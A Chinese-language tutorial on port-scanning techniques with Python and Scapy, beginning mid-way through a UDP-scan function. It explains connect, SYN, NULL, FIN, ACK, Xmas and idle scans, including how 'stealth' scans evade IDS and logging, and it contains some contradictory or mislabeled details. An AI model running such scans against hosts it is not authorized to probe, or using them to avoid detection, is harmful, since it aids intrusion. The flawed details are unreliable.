elif(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code) in [1,2,9,10,13]):

return "Filtered"

print udp_scan(dst_ip,dst_port,dst_timeout)

下面解释下上述代码中的一些函数和变量:

RandShort():产生随机数

type():获取数据类型

sport:源端口号

dport:目标端口号

timeout:等待相应的时间

haslayer():查找指定层:TCP或UDP或ICMP

getlayer():获取指定层:TCP或UDP或ICMP

以上扫描的概念可以被用于“多端口扫描”,源码可以参考这里:

Scapy 是一个非常好用的工具,使用它可以非常简单的构建自己的数据包,还可以很轻易的处理数据包的发送和相应。

(译者注:上述所有代码均在Kali 2.0下测试通过,建议读者在Linux环境下测试代码,如想在Windows上测试,请参见 Scapy官方文档 配置好scapy环境)

Python 实现端口扫描

一、常见端口扫描的原理

0、秘密扫描

秘密扫描是一种不被审计工具所检测的扫描技术。

它通常用于在通过普通的防火墙或路由器的筛选(filtering)时隐藏自己。

秘密扫描能躲避IDS、防火墙、包过滤器和日志审计,从而获取目标端口的开放或关闭的信息。由于没有包含TCP 3次握手协议的任何部分,所以无法被记录下来,比半连接扫描更为隐蔽。

但是这种扫描的缺点是扫描结果的不可靠性会增加,而且扫描主机也需要自己构造IP包。现有的秘密扫描有TCP FIN扫描、TCP ACK扫描、NULL扫描、XMAS扫描和SYN/ACK扫描等。

1、Connect()扫描

此扫描试图与每一个TCP端口进行“三次握手”通信。如果能够成功建立接连,则证明端口开发,否则为关闭。准确度很高,但是最容易被防火墙和IDS检测到,并且在目标主机的日志中会记录大量的连接请求以及错误信息。

TCP connect端口扫描服务端与客户端建立连接成功(目标端口开放)的过程:

① Client端发送SYN;

② Server端返回SYN/ACK,表明端口开放;

③ Client端返回ACK,表明连接已建立;

④ Client端主动断开连接。

建立连接成功(目标端口开放)

TCP connect端口扫描服务端与客户端未建立连接成功(目标端口关闭)过程:

① Client端发送SYN;

② Server端返回RST/ACK,表明端口未开放。

优点:实现简单,对操作者的权限没有严格要求(有些类型的端口扫描需要操作者具有root权限),系统中的任何用户都有权力使用这个调用,而且如果想要得到从目标端口返回banners信息,也只能采用这一方法。

另一优点是扫描速度快。如果对每个目标端口以线性的方式,使用单独的connect()调用,可以通过同时打开多个套接字,从而加速扫描。

缺点:是会在目标主机的日志记录中留下痕迹,易被发现,并且数据包会被过滤掉。目标主机的logs文件会显示一连串的连接和连接出错的服务信息,并且能很快地使它关闭。

2、SYN扫描

扫描器向目标主机的一个端口发送请求连接的SYN包,扫描器在收到SYN/ACK后,不是发送的ACK应答而是发送RST包请求断开连接。这样,三次握手就没有完成,无法建立正常的TCP连接,因此,这次扫描就不会被记录到系统日志中。这种扫描技术一般不会在目标主机上留下扫描痕迹。但是,这种扫描需要有root权限。

·端口开放:(1)Client发送SYN;(2)Server端发送SYN/ACK;(3)Client发送RST断开(只需要前两步就可以判断端口开放)

·端口关闭:(1)Client发送SYN;(2)Server端回复RST(表示端口关闭)

优点:SYN扫描要比TCP Connect()扫描隐蔽一些,SYN仅仅需要发送初始的SYN数据包给目标主机,如果端口开放,则相应SYN-ACK数据包;如果关闭,则响应RST数据包;

3、NULL扫描

反向扫描—-原理是将一个没有设置任何标志位的数据包发送给TCP端口,在正常的通信中至少要设置一个标志位,根据FRC 793的要求,在端口关闭的情况下,若收到一个没有设置标志位的数据字段,那么主机应该舍弃这个分段,并发送一个RST数据包,否则不会响应发起扫描的客户端计算机。也就是说,如果TCP端口处于关闭则响应一个RST数据包,若处于开放则无相应。但是应该知道理由NULL扫描要求所有的主机都符合RFC 793规定,但是windows系统主机不遵从RFC 793标准,且只要收到没有设置任何标志位的数据包时,不管端口是处于开放还是关闭都响应一个RST数据包。但是基于Unix(*nix,如Linux)遵从RFC 793标准,所以可以用NULL扫描。 经过上面的分析,我们知道NULL可以辨别某台主机运行的操作系统是什么操作系统。

端口开放:Client发送Null,server没有响应

端口关闭:(1)Client发送NUll;(2)Server回复RST

说明:Null扫描和前面的TCP Connect()和SYN的判断条件正好相反。在前两种扫描中,有响应数据包的表示端口开放,但在NUll扫描中,收到响应数据包表示端口关闭。反向扫描比前两种隐蔽性高些,当精确度也相对低一些。

用途:判断是否为Windows系统还是Linux。

4、FIN扫描

与NULL有点类似,只是FIN为指示TCP会话结束,在FIN扫描中一个设置了FIN位的数据包被发送后,若响应RST数据包,则表示端口关闭,没有响应则表示开放。此类扫描同样不能准确判断windows系统上端口开发情况。

·端口开放:发送FIN,没有响应

·端口关闭:(1)发送FIN;(2)回复RST

5、ACK扫描

扫描主机向目标主机发送ACK数据包。根据返回的RST数据包有两种方法可以得到端口的信息。方法一是: 若返回的RST数据包的TTL值小于或等于64,则端口开放,反之端口关闭。

6、Xmas-Tree扫描

通过发送带有下列标志位的tcp数据包。

·URG:指示数据时紧急数据,应立即处理。

·PSH:强制将数据压入缓冲区。

·FIN:在结束TCP会话时使用。

正常情况下,三个标志位不能被同时设置,但在此种扫描中可以用来判断哪些端口关闭还是开放,与上面的反向扫描情况相同,依然不能判断windows平台上的端口。

·端口开放:发送URG/PSH/FIN,没有响应

·端口关闭:(1)发送URG/PSH/FIN,没有响应;(2)响应RST

XMAS扫描原理和NULL扫描的类似,将TCP数据包中的ACK、FIN、RST、SYN、URG、PSH标志位置1后发送给目标主机。在目标端口开放的情况下,目标主机将不返回任何信息。

7、Dump扫描

也被称为Idle扫描或反向扫描,在扫描主机时应用了第三方僵尸计算机扫描。由僵尸主机向目标主机发送SYN包。目标主机端口开发时回应SYN|ACK,关闭时返回RST,僵尸主机对SYN|ACK回应RST,对RST不做回应。从僵尸主机上进行扫描时,进行的是一个从本地计算机到僵尸主机的、连续的ping操作。查看僵尸主机返回的Echo响应的ID字段,能确定目标主机上哪些端口是开放的还是关闭的。

二、Python 代码实现

1、利用Python的Socket包中的connect方法,直接对目标IP和端口进行连接并且尝试返回结果,而无需自己构建SYN包。

2、对IP端口进行多线程扫描,注意的是不同的电脑不同的CPU每次最多创建的线程是不一样的,如果创建过多可能会报错,需要根据自己电脑情况修改每次扫描的个数或者将seelp的时间加长都可以。

看完了吗?感觉动手操作一下把!

python学习网,免费的在线学习python平台,欢迎关注!

本文转自:

0条大神的评论

发表评论